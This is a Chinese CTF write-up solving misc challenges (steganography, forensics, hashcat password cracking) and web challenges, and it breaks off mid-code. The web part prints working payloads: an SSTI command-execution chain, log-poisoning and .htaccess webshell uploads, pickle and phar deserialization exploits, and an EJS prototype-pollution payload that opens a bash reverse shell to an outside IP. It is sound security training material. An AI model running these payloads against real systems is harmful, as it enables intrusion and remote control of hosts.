Dest0g3 520迎新赛 writeup (misc部分 + web部分)

Dest0g3 520迎新赛

文章目录

  • Dest0g3 520迎新赛
  • MISC
    • Welcome to fxxking DestCTF
    • 你知道js吗
    • StrangeTraffic
    • Pngenius
    • EasyWord
    • EasyEncode
    • Python_jail
    • rookie hacker-1
    • rookie hacker-2
    • 4096
  • WEB
    • EasySSTI
    • phpdest
    • EasyPHP
    • SimpleRCE
    • funny_upload
    • middle
    • PharPOP
      • 1.phar的上传与触发
      • 2.POP链思路
    • NodeSoEasy
    • ezip
    • Really Easy SQL

本文来自csdn的⭐️shu天⭐️,平时会记录ctf、取证和渗透相关的文章,欢迎大家来我的主页:shu天_CSDN博客-ctf,取证,web领域博主:https://blog.csdn.net/weixin_46081055 看看ヾ(@ ˘ω˘ @)ノ!!

MISC

Welcome to fxxking DestCTF

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第1张图片

Dest0g3{W31c0m3_t0_DestCTF2022!}

你知道js吗

附件是个word,最开始是wingdings 3 字体,换成宋体得到一段base64

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第2张图片

解密得到

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
            <requestedExecutionLevel level="asInvoker" uiAccess="false"/>
<application xmlns="urn:schemas-microsoft-com:asm.v3">
        <dpiAwareness xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">Do you know js</dpiAwareness>
<script language="javascript">document.write(unescape('%3Chtml%3E%0A%3Cbody%3E%0A%0A%3C%21DOCTYPE%20html%3E%0A%3Chtml%3E%0A%3Chead%3E%0A%20%20%20%20%3Ctitle%3EDo%20You%20Know%20js%3C%2Ftitle%3E%0A%3CHTA%3AAPPLICATION%0A%20%20APPLICATIONNAME%3D%22Do%20You%20Know%20js%22%0A%20%20ID%3D%22Inception%22%0A%20%20VERSION%3D%221.0%22%0A%20%20SCROLL%3D%22no%22%2F%3E%0A%20%0A%3Cstyle%20type%3D%22text%2Fcss%22%3E%0A%3C%2Fhead%3E%0A%20%20%20%20%3Cdiv%20id%3D%22feature%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cdiv%20id%3D%22content%0A%09%09%09%09%3C%2Fstyle%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ch1%20id%3D%22unavailable%22%20class%3D%22loading%22%3EBuilding%20js.....%3C%2Fh1%3E%0A%09%09%09%09%3Cscript%20type%3D%22text%2Fjavascript%22%20language%3D%22javascript%22%3E%0A%09%09%09%09%09function%20RunFile%28%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20var%20WshShell%20%3D%20new%20ActiveXObject%28%22WScript.Shell%22%29%3B%0A%09%09%09%09%09WshShell.Run%28%22notepad%20%25windir%25%2FDesktop%2Fjs.txt%22%2C%201%2C%20false%29%3B%0A%20%20%20%20%20%20%20%20%20%20%2F*%20var%20oExec%20%3D%20WshShell.Exec%28%22notepad%22%29%3B%20*%2F%0A%09%09%09%09%09%7D%0A%09%09%09%09%3C%2Fscript%3E%0A%20%20%20%20%20%20%20%20%3C%2Fdiv%3E%0A%20%20%20%20%3C%2Fdiv%3E%0A%3Cbody%3E%0A%09%3Cinput%20type%3D%22button%22%20value%3D%22Implant%20Inception%20Here%22%20onclick%3D%22RunFile%28%29%3B%22%2F%3E%0A%09%3Cp%20style%3D%22color%3Awhite%3B%22%3E%0A%0A%2B%2B%2B%2B%2B%20%2B%2B%5B-%3E%20%2B%2B%2B%2B%2B%20%2B%2B%3C%5D%3E%20%2B%2B%2B..%20%2B%2B.-.%20%2B%2B.--%20--.%2B%2B%20%2B%2B.--%20%0A-.-.-%20--.%2B%2B%20%2B%2B%2B%2B.%0A%2B.---%20-..%2B%2B%20%2B%2B.%3C%2B%20%2B%2B%5B-%3E%20%2B%2B%2B%3C%5D%20%3E%2B%2B.%3C%20%2B%2B%2B%5B-%20%0A%3E---%3C%20%5D%3E---%20---.%2B%20%2B%2B%2B%2B.%20-----%0A.%2B%2B%2B.%20...--%20---.%2B%20%2B%2B%2B%2B.%20---.%2B%20%2B%2B.--%20---.%2B%20%2B%2B%2B%2B.%20---..%20%2B%2B%2B%2B%2B%20%2B.---%20----.%0A%3C%2B%2B%2B%2B%20%5B-%3E%2B%2B%20%2B%2B%3C%5D%3E%20%2B%2B.%3C%2B%20%2B%2B%2B%5B-%20%3E----%20%3C%5D%3E-.%20---.%2B%0A%20%2B%2B%2B%2B%2B%20.----%20-.%2B%2B.%20%2B%2B.%2B.%0A--.--%20.%3C%2B%2B%2B%20%2B%5B-%3E%2B%20%2B%2B%2B%3C%5D%20%3E%2B%2B.%3C%20%2B%2B%2B%2B%5B%20-%3E---%20-%3C%5D%3E-%20%0A.%2B.-.%20---.%2B%20%2B%2B.%2B.%20-.%2B%2B%2B%0A%2B.---%20--.%3C%2B%20%2B%2B%2B%5B-%20%3E%2B%2B%2B%2B%20%3C%5D%3E%2B%2B%20.%3C%2B%2B%2B%20%5B-%3E--%20-%3C%5D%3E-%20----.%20----.%20%2B.%2B%2B%2B%20%2B.---%0A-.---%20.%2B%2B%2B.%20-..%3C%2B%20%2B%2B%2B%5B-%20%3E%2B%2B%2B%2B%20%3C%5D%3E%2B%2B%20%0A.%3C%2B%2B%2B%20%2B%5B-%3E-%20---%3C%5D%20%3E-.%2B%2B%20%2B%2B%2B.-%20----.%0A%2B%2B%2B..%20---.%2B%20%2B%2B.--%20--.%2B.%20..%2B%2B%2B%20%2B.-.-%20----.%20%2B%2B%2B%2B%2B%20%0A.----%20.%2B.%2B%2B%20%2B%2B.--%20--.%2B%2B%0A%2B%2B.-.%20----.%20%2B.-.%2B%20%2B%2B%2B%2B.%20%0A%3C%2B%2B%2B%5B%20-%3E%2B%2B%2B%20%3C%5D%3E%2B%2B%20%2B%2B.%3C%0A%3C%2Fp%3E%0A%3C%2Fbody%3E%0A%3C%2Fbody%3E%0A%20%20%3C%2Fhtml%3E%0A'));</script>

console.log输出得到

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第3张图片

+++++ ++[-> +++++ ++<]> +++.. ++.-. ++.-- --.++ ++.-- 
-.-.- --.++ ++++.
+.--- -..++ ++.<+ ++[-> +++<] >++.< +++[- 
>---< ]>--- ---.+ ++++. -----
.+++. ...-- ---.+ ++++. ---.+ ++.-- ---.+ ++++. ---.. +++++ +.--- ----.
<++++ [->++ ++<]> ++.<+ +++[- >---- <]>-. ---.+
 +++++ .---- -.++. ++.+.
--.-- .<+++ +[->+ +++<] >++.< ++++[ ->--- -<]>- 
.+.-. ---.+ ++.+. -.+++
+.--- --.<+ +++[- >++++ <]>++ .<+++ [->-- -<]>- ----. ----. +.+++ +.---
-.--- .+++. -..<+ +++[- >++++ <]>++ 
.<+++ +[->- ---<] >-.++ +++.- ----.
+++.. ---.+ ++.-- --.+. ..+++ +.-.- ----. +++++ 
.---- .+.++ ++.-- --.++
++.-. ----. +.-.+ ++++. 
<+++[ ->+++ <]>++ ++.<

Brainfuck/Text/Ook! obfuscator - deobfuscator. Decode and encode online. (bugku.com)网站解密

446573743067337B38366661636163392D306135642D343034372D623730322D3836636233376162373762327D

转ascii为flag Dest0g3{86facac9-0a5d-4047-b702-86cb37ab77b2}

StrangeTraffic

过滤modbus协议,可以发现寄存器的值一直在变化,提取出变化的字母

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第4张图片

RGVzdDBnM3szMUE1QkVBNi1GMjBELUYxOEEtRThFQS0yOUI0RjI1NzEwOEJ9

解密得到flag Dest0g3{31A5BEA6-F20D-F18A-E8EA-29B4F257108B}

Pngenius

附件是个png图片,binwalk分离出一个有密码的zip,zsteg分析看到密码

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第5张图片

b1,rgb,lsb,xy       .. text: "Password for zip:Weak_Pas5w0rd"

解开压缩包得到flag Dest0g3{2908C1AA-B2C1-B8E6-89D1-21B97D778603}

EasyWord

不小心看到原题了……口令破解_Ni9htMar3的博客-CSDN博客,事实证明看着原题也做得想哭

首先hashcat+JohnTheRipper爆破出word密码
Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第6张图片

password.docm:$office$*2010*100000*128*16*d135d71212d659473f2b5fb4bf46d78e*e0a8853d6d0c42cafd62c82dda2fbc6e*d0889853485e2aeb49c06a1d3d691fc81ffb42a35f97c83d0ed5c646066f4ab1

根据提示[a-z] [a-z] q [a-z] b [a-z],hashcat爆破,密码为ulqsbt

hashcat.exe -m 9500 -a3 1.txt ?l?lq?lb?l

#$office$*2010*100000*128*16*d135d71212d659473f2b5fb4bf46d78e*e0a8853d6d0c42cafd62c82dda2fbc6e*d0889853485e2aeb49c06a1d3d691fc81ffb42a35f97c83d0ed5c646066f4ab1:ulqsbt

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第7张图片

word内容

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第8张图片

去掉word本来的密码,宏调试也有密码,修改为DPx即可绕过

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第9张图片

查看word中的宏代码

If (strusrinput <> "") Then
  strusout = Encode(strusrinput, t)
  If (strusout = "┤℡ǒqx~") Then
      strdec = Decode(Dialog.Label_ls.Caption, sinput)
  Else
     If (strusout = "kGJEgq") Then
        strdec = Decode(Dialog.Label_ls1.Caption, sinput)
     Else
          If (strusout = "ЮΟopz+") Then
             strdec = Decode(Dialog.Label_ls2.Caption, sinput)
          Else
                If (strusout = "zΚjrШφεあ") Then
                    strdec = Decode(Dialog.Label_ls4.Caption, sinput)
                Else
                    If (strusout = "àǖtUw┧hè") Then
                          strdec = Decode(Dialog.Label_ls3.Caption, sinput)
                    Else
                          strdec = "密码不正确,别泄气再来!"
                    End If
                End If
           End If
      End If
   End If
   Label_CLUE.Caption = strdec
End If

利用定义好的加解密函数,得到我们应该输入的strusrinput

例如Decode("┤℡ǒqx~", t)得到123456

123456
aaaaaa
000000
墙角数枝
iloveyou

最后试出密码 "解压密码:两只黄鹂鸣翠柳,一行白鹭上青天!"

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第10张图片

根据word中提示,用这句古诗构造字典

import hashlib
def strSort(words):
    tempword = words
    for i in range(2**len(words)):
        int_bin = str(bin(i)).replace("0b","")
        for i in range(len(words)-len(int_bin)):
            int_bin = "".join(("0",int_bin))
        for index, i in enumerate(int_bin):
            if i=='1':
                wordslst = list(words)
                wordslst[index] = wordslst[index].upper()
                words = "".join(wordslst)
        yield words
        words = tempword

for word in strSort("2zhlmcl,1hblsqt."):
        print(word)

hashcat爆破

hashcat.exe -m 13000 -a0 1.txt D:\download\d3\EasyWord\1.txt

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第11张图片

rar密码为2zhlmcl,1hblsqt.,得到flag Dest0g3{VBScr1pt_And_Hashc4t_1s_g00d}

EasyEncode

爆破密码

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第12张图片

txt内有一段moss
Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第13张图片

然后十六进制转ascii

\u0052\u0047\u0056\u007a\u0064\u0044\u0042\u006e\u004d\u0033\u0074\u0045\u005a\u0057\u0039\u006b\u0061\u0057\u0035\u006e\u0058\u007a\u0046\u007a\u0058\u0032\u0055\u0030\u0063\u0033\u006c\u0066\u004e\u0046\u0039\u0056\u0066\u0051\u0025\u0033\u0044\u0025\u0033\u0044

Unicode

RGVzdDBnM3tEZW9kaW5nXzFzX2U0c3lfNF9VfQ%3D%3D

base解密得到flag Dest0g3{Deoding_1s_e4sy_4_U}

Python_jail

给的附件password是Whitespace Language,解析出压缩包密码 a8e15220-7404-4269-812e-6418557b7dc2

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第14张图片

解压得到一张图片,zsteg分析,里面有个编译后的py

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第15张图片

分离出来

zsteg -E b1,rgb,lsb,xy SECRET1.png > 1

运行,得到flag flag{b5bcfc87-5ca6-43f1-b384-57d09b886ca9}

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第16张图片

rookie hacker-1

取证大师跑一下e01镜像

在这里插入图片描述

然后去找对应的config.v2.json配置文件

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第17张图片

时间是UTC时间

# python3
import hashlib

container1 = "project_work_web_1"+"2021-06-21_11:34:27"+"2021-06-21_11:48:56"+"2021-06-22_12:02:17"
container2 = "project_work_db_1"+"2021-06-21_11:34:27"+"2021-06-21_11:48:55"+"2021-06-22_12:02:17"
a = container1+container2
flag = "Dest0g3{" + hashlib.md5(a.encode()).hexdigest() + "}"
print(flag)

# Dest0g3{9c78287fc6292b46cec567202666bb03}

rookie hacker-2

Alice访问自己的docker时忘记了把容器分别部署在哪些ip上,你能帮帮他么? Flag格式:Dest0g3{ip1_ip2_…} 例:假设容器1、容器2的ip为1.1.1.1、2.2.2.2,则flag为 Dest0g3{1.1.1.1_2.2.2.2}

查看docker容器的hosts文件
Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第18张图片

172.18.0.2	db 4db256d69288 project_work_db_1
172.18.0.2	db_1 4db256d69288 project_work_db_1
172.18.0.2	project_work_db_1 4db256d69288
172.18.0.3	45b102b51abe

Dest0g3{172.18.0.2_172.18.0.3}

python vol.py -f '/mnt/hgfs/ezForensics/ezForensics/Memory.dd' --profile=Linuxoutputx64 linux_find_file -i 0xffff97105b58c968 -O log1

4096

local_storage_manager.js中有半段flag

function getPartFlag(score) {
  if (score > 10000) {
    console.log("Q29uZ3JhdHVsYXRpb25zLCB0aGlzIGlzIHBhcnQgb2YgdGhlIGZsYWc6IE5HVmxOeTFpTmpjekxUazNNV1E0TVdZNFlqRTNOMzA9Lg==");
  }
}

# Congratulations, this is part of the flag: NGVlNy1iNjczLTk3MWQ4MWY4YjE3N30=.
# 4ee7-b673-971d81f8b177}

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第19张图片

注意到favicon很大,取下来,zsteg可以分离出音频,binwalk可以分离出zip

音频可以用QSSTV分析

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第20张图片

MD5(ceil phone number)

dtmf2num解析电话声音

DTMF numbers:  74958097831

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第21张图片

根据提示倒过来是电话号码13879085947,md5为32fc1b5487cb447f792a19418b92544e,解开压缩包

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第22张图片

用gaps拼图,我size好像一直不对……拼出来最好的是这样的

凑吧凑吧也把可以解密的字符串拼出来(i l 猜的我脑壳子嗡嗡响……)

RGVzdDBnM3tlZDRkMTE0Zi05ZWU0LQ==
base解码得到前半段flag Dest0g3{ed4d114f-9ee4-

WEB

EasySSTI

用户名处有ssti,过滤了 空格 _ [ ] ' " . pop class request

参照这位师傅https://xz.aliyun.com/t/9584#toc-28 [2021 MAR & DASCTF]baby_flask这题,空格用%0c绕过

payload:

username={%%0cset%0czero%0c=%0c(self|int)%0c%}{%%0cset%0cone%0c=%0c(zero**zero)|int%0c%}{%%0cset%0ctwo%0c=%0c(zero-one-one)|abs%0c%}{%%0cset%0cfour%0c=%0c(two*two)|int%0c%}{%%0cset%0cfive%0c=%0c(two*two*two)-one-one-one%0c%}{%%0cset%0cthree%0c=%0cfive-one-one%0c%}{%%0cset%0cnine%0c=%0c(two*two*two*two-five-one-one)%0c%}{%%0cset%0cseven%0c=%0c(zero-one-one-five)|abs%0c%}{%%0cset%0cspace%0c=%0cself|string|min%0c%}{%%0cset%0cpoint%0c=%0cself|float|string|min%0c%}{%%0cset%0cc%0c=%0cdict(c=aa)|reverse|first%0c%}{%%0cset%0cbfh%0c=%0cself|string|urlencode|first%0c%}{%%0cset%0cbfhc%0c=%0cbfh~c%0c%}{%%0cset%0cslas%0c=%0cbfhc%((four~seven)|int)%0c%}{%%0cset%0cyin%0c=%0cbfhc%((three~nine)|int)%0c%}{%%0cset%0cxhx%0c=%0cbfhc%((nine~five)|int)%0c%}{%%0cset%0cright%0c=%0cbfhc%((four~one)|int)%0c%}{%%0cset%0cleft%0c=%0cbfhc%((four~zero)|int)%0c%}{%%0cset%0cbut%0c=%0cdict(buil=aa,tins=dd)|join%0c%}{%%0cset%0cimp%0c=%0cdict(imp=aa,ort=dd)|join%0c%}{%%0cset%0cpon%0c=%0cdict(po=aa,pen=dd)|join%0c%}{%%0cset%0cso%0c=%0cdict(o=aa,s=dd)|join%0c%}{%%0cset%0cca%0c=%0cdict(ca=aa,t=dd)|join%0c%}{%%0cset%0cls%0c=%0cdict(ls=x)|join%0c%}{%%0cset%0cev%0c=%0cdict(ev=aa,al=dd)|join%0c%}{%%0cset%0cred%0c=%0cdict(re=aa,ad=dd)|join%0c%}{%%0cset%0cbul%0c=%0cxhx~xhx~but~xhx~xhx%0c%}{%%0cset%0cini%0c=%0cdict(ini=aa,t=bb)|join%0c%}{%%0cset%0cglo%0c=%0cdict(glo=aa,bals=bb)|join%0c%}{%%0cset%0citm%0c=%0cdict(ite=aa,ms=bb)|join%0c%}{%%0cset%0cpld%0c=%0cxhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~(dict(flag=1)|join)~yin~right~point~red~left~right%0c%}{%%0cfor%0cf,v%0cin%0c(self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))()%0c%}{%%0cif%0cf%0c==%0cbul%0c%}{%%0cfor%0ca,b%0cin%0c(v|attr(itm))()%0c%}{%%0cif%0ca%0c==%0cev%0c%}{{b(pld)}}{%%0cendif%0c%}{%%0cendfor%0c%}{%%0cendif%0c%}{%%0cendfor%0c%}&password=2312

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第23张图片

phpdest

日志文件包含

/?file=/var/log/nginx/access.log

UA写马

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第24张图片
Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第25张图片

EasyPHP


highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
    echo $fl4g;
}else{
    echo "Try harder!";
}
set_error_handler(
    function() use(&$fl4g) {
        print $fl4g;
    }
);
$fl4g .= $dest0g3;
?>

传数组让$fl4g .= $dest0g3;触发错误进入set_error_handler()

payload:

ctf[]=1

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第26张图片

SimpleRCE


highlight_file(__FILE__);
$aaa=$_POST['aaa'];
$black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
$aaa = str_ireplace($black_list,"hacker",$aaa);
eval($aaa);
?>

str_ireplace函数用hex2bin绕过,正好单引号没有过滤 73797374656d→system

payload:

aaa=hex2bin('73797374656d')('rev+/fl?g');

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第27张图片

flag为Dest0g3{8d1d2c4a-d0f8-4db7-ab08-4b054d2c5348}

funny_upload

试了试发现.htaccess文件可以上传并解析,但是过滤了文件内容,可以利用auto_append_file和php伪协议打组合拳绕过

payload:

Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: image/png

AddType application/x-httpd-php .txt
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.txt"

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第28张图片

Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: image/png

PD9waHAgQGV2YWwoJF9QT1NUWydhZyddKTs/Pg==
# 

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第29张图片

连接shell得到flag

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第30张图片

middle

import os
import config
from flask import Flask, request, session, render_template, url_for,redirect,make_response
import pickle
import io
import sys
import base64


app = Flask(__name__)


class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module in ['config'] and "__" not in name:	#只能反序列化config类,而且调用的方法或属性中不能含有__
            return getattr(sys.modules[module], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

@app.route('/')
def show():
    base_dir = os.path.dirname(__file__)
    resp = make_response(open(os.path.join(base_dir, __file__)).read()+open(os.path.join(base_dir, "config/__init__.py")).read())
    resp.headers["Content-type"] = "text/plain;charset=UTF-8"
    return resp

@app.route('/home', methods=['POST', 'GET'])
def home():
    data=request.form['data']
    User = restricted_loads(base64.b64decode(data))
    return str(User)

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=5000)
import os
def backdoor(cmd):
    # 这里我也改了一下
    if isinstance(cmd,list) :
        s=''.join(cmd)
        print("!!!!!!!!!!")
        s=eval(s)
        return s
    else:
        print("??????")

遍历Python AST自动化生成Pickle opcode,参考这位师傅的wp和GitHub项目:https://xz.aliyun.com/t/7012#toc-0,https://github.com/eddieivan01/pker

exp.py

config_backdoor = GLOBAL('config', 'backdoor')
config_backdoor(["__import__('os').popen('cat /flag.txt').read()"])
return

生成Pickle opcode,base编码

data = b"cconfig\nbackdoor\np0\n0g0\n((S'__import__(\\'os\\').popen(\\'cat /flag.txt\\').read()'\nltR."
data = base64.b64encode(data)
print(data)

payload:

data=Y2NvbmZpZwpiYWNrZG9vcgpwMAowZzAKKChTJ19faW1wb3J0X18oXCdvc1wnKS5wb3BlbihcJ2NhdCAvZmxhZy50eHRcJykucmVhZCgpJwpsdFIu

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第31张图片

得到flag Dest0g3{c7833ab6-58f7-4c07-ad64-1e7d286ca2db}

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第32张图片

PharPOP


highlight_file(__FILE__);

function waf($data){
    if (is_array($data)){
        die("Cannot transfer arrays");
    }
    if (preg_match('/get|air|tree|apple|banana|php|filter|base64|rot13|read|data/i', $data)) {
        die("You can't do");
    }
}

class air{
    public $p;

    public function __set($p, $value) {
        $p = $this->p->act;
        echo new $p($value);
    }
}

class tree{
    public $name;
    public $act;

    public function __destruct() {
        return $this->name();
    }
    public function __call($name, $arg){
        $arg[1] =$this->name->$name;

    }
}

class apple {
    public $xxx;
    public $flag;
    public function __get($flag)
    {
        $this->xxx->$flag = $this->flag;
    }
}

class D {
    public $start;

    public function __destruct(){
        $data = $_POST[0];
        if ($this->start == 'w') {
            waf($data);
            $filename = "/tmp/".md5(rand()).".jpg";
            file_put_contents($filename, $data);
            echo $filename;
        } else if ($this->start == 'r') {
            waf($data);		//phar协议没有被过滤
            $f = file_get_contents($data);	//触发点
            if($f){
                echo "It is file";
            }
            else{
                echo "You can look at the others";
            }
        }
    }
}

class banana {
    public function __get($name){
        return $this->$name;
    }
}
// flag in /
if(strlen($_POST[1]) < 55) {
    $a = unserialize($_POST[1]);
}
else{
    echo "str too long";
}

throw new Error("start");
?>

参考这个师傅:phar反序列化+两道CTF例题_Z3eyOnd的博客-CSDN博客_phar反序列化ctf [NSSCTF]prize_p1这题

1.phar的上传与触发

触发D中的__destruct方法上传phar,然后file_get_contents触发phar反序列化

这里需要绕过两个限制:一是Error

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第33张图片

这里师傅说由于unserialize($_GET[0]);没有被引用,相当于unset,那么就可以绕过异常执行__destruct……但是我没成功,我fuzz了一下发现O:1:"D":2:{s:5:"start";s:1:"w";}可以绕过。

另外是file_put_contents时需要绕过waf中的air|tree|apple|banana等类名,可以将phar文件压缩为另一种文件格式,这样反序列化依旧能够触发并且数据中不会出现明文

2.POP链思路

我们需要利用air类中的echo new $p($value);来执行PHP原生类

ps.原生类:
DirectoryIterator可以配合glob://协议使用模式匹配来寻找需要的文件
SplFileObject可以读取文件

要触发air类的__set魔术方法,需要给不可访问属性赋值,apple类中__get有赋值 ,触发__get需要读取不可访问属性的值,需要触发tree中__call,call是要调用内部不存在的方法,tree中__destruct方法内return $this->name();

再回到air类,我们需要 p ( p( p(value), p 为 D i r e c t o r y I t e r a t o r , p为DirectoryIterator, pDirectoryIteratorvalue为glob://xxxx,有因为apple-get触发air-set,所以apple-flag的值会传给 v a l u e , 所 以 让 ‘ value,所以让` valueapple ->flag=‘glob://xxx’; 对于$p,air-get中$p = KaTeX parse error: Expected group after '_' at position 59: …nana中不存在act属性,`_̲_get`被触发,返回act,…p为act,所以让act=DirectoryIterator。

回到最外层的tree,要触发__destruct方法需要利用phpGC机制

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第34张图片

先生成phar


class air{
    public $p;
}

class tree{
    public $name;
    public $act;
}

class apple {
    public $xxx;
    public $flag;
}
class banana {
}

$air = new air();
$tree = new tree();
$apple = new apple();
$bana =new  banana();
$apple ->flag='glob:///f*';
$apple ->xxx= $air ;
$air->p=$bana;
$bana->act="DirectoryIterator";
$tree->name= $apple;

$phar = new Phar("phar1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$phar->setMetadata([0=>$tree,1=>NULL]); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering(); ?>

因为反序列化的过程是顺序执行的,所以到第一个属性时,会将Array[0]设置为tree对象,同时我们又将Array[0]设置为null,这样前面的tree对象便丢失了引用,就会被GC所捕获,就可以执行__destruct了。

在这里插入图片描述

然后修改签名

from hashlib import sha1
f = open('./phar1.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('phar2.phar', 'wb').write(newf) # 写入新文件

上传phar

import requests
import gzip
import re

url = 'http://602ad6c4-4397-47e9-a1ea-d957fe9c0e7c.node4.buuoj.cn:81/'

file = open("./phar2.phar", "rb") #打开文件
file_out = gzip.open("./phar.zip", "wb+")#创建压缩文件对象
print(file_out)
file_out.writelines(file)
file_out.close()
file.close()
# 先将phar的内容写入/tmp/a.txt,其中file_put_contents相当于文件上传.
res=requests.post(
    url,
    data={
        1: 'O:1:"D":2:{s:5:"start";s:1:"w";}',
        0: open('./phar.zip', 'rb').read()
    },
)
print(res.text)

# /tmp/6e1fdc42161a607b4fcdec2222a38881.jpg

# file_get_contents触发phar反序列化
res2 = requests.post(
    url,
    data={
        1: 'O:1:"D":2:{s:5:"start";s:1:"r";}',
        0: 'phar:///tmp/6e1fdc42161a607b4fcdec2222a38881.jpg'
    }
)
print(res2.text)
# fflaggg

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第35张图片

同理利用原生类读文件

$air = new air();
$tree = new tree();
$apple = new apple();
$bana =new  banana();
$apple ->flag='/fflaggg';
$apple ->xxx= $air ;
$air->p=$bana;
$bana->act="SplFileObject";
$tree->name= $apple;

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第36张图片

NodeSoEasy

给了源码

几个依赖的版本:

"dependencies": {
"ejs": "3.1.7",
"express": "4.18.1",
"body-parser": "1.20.0"
}

app.js

const express = require('express')
const bodyParser = require('body-parser')
const app = express()
const port = 5000

app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.set('view engine', 'ejs');	//设置ejs模板引擎

const merge= (target, source) => {	
    //没有导入lodashs,而是直接定义merge,也是存在原型链污染漏洞的
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

app.post('/', function (req, res) {
    var target = {}
    var source = JSON.parse(JSON.stringify(req.body))
    merge(target, source)
    res.render('index');
})

app.listen(port, () => {
    console.log(`listening on port ${port}`)
})

我想的思路是原型链污染配合ejs模板引擎实现rce,但是因为ejs版本3.1.7,修复了opts.outputFunctionName处的漏洞:

node_modules/ejs/ejs.js

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第37张图片

后来翻到这位师傅的文章https://www.anquanke.com/post/id/236354#h2-2,可以利用escapeFunction拼接

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第38张图片

调试一下payload,发现只要一层__proto__就可以污染到escapeFunction

{"__proto__":{"compileDebug":true,"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/180.76.184.229/8899 0>&1\"');"}}

这个payload只能用一次好像,第二次post时候merge会报错

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第39张图片
Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第40张图片

反弹shell得到flag Dest0g3{d4be3069-aef9-4688-b565-dd483b3a228e}

ps . 还有个控制compileDebug和filename,finally逃逸try catch限制的思路https://www.anquanke.com/post/id/229301 + RCTF 2021 xss_it

ezip

图片里面藏着源码

upload.php:


error_reporting(0);
include("zip.php");
if(isset($_FILES['file']['name'])){
    if(strstr($_FILES['file']['name'],"..")||strstr($_FILES['file']['name'],"/")){
        echo "hacker!!";
        exit;
    }
    if(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION)!="zip"){
        echo "only zip!!";
        exit;
    }
    $Myzip = new zip($_FILES['file']['name']);
    mkdir($Myzip->path);
    move_uploaded_file($_FILES['file']['tmp_name'], './'.$Myzip->path.'/' . $_FILES['file']['name']);
    echo "Try to unzip your zip to /".$Myzip->path."
"
; if($Myzip->unzip()){echo "Success";}else{echo "failed";} }

zip.php:


class zip
{
    public $zip_name;
    public $path;
    public $zip_manager;

    public function __construct($zip_name){
        $this->zip_manager = new ZipArchive();
        $this->path = $this->gen_path();
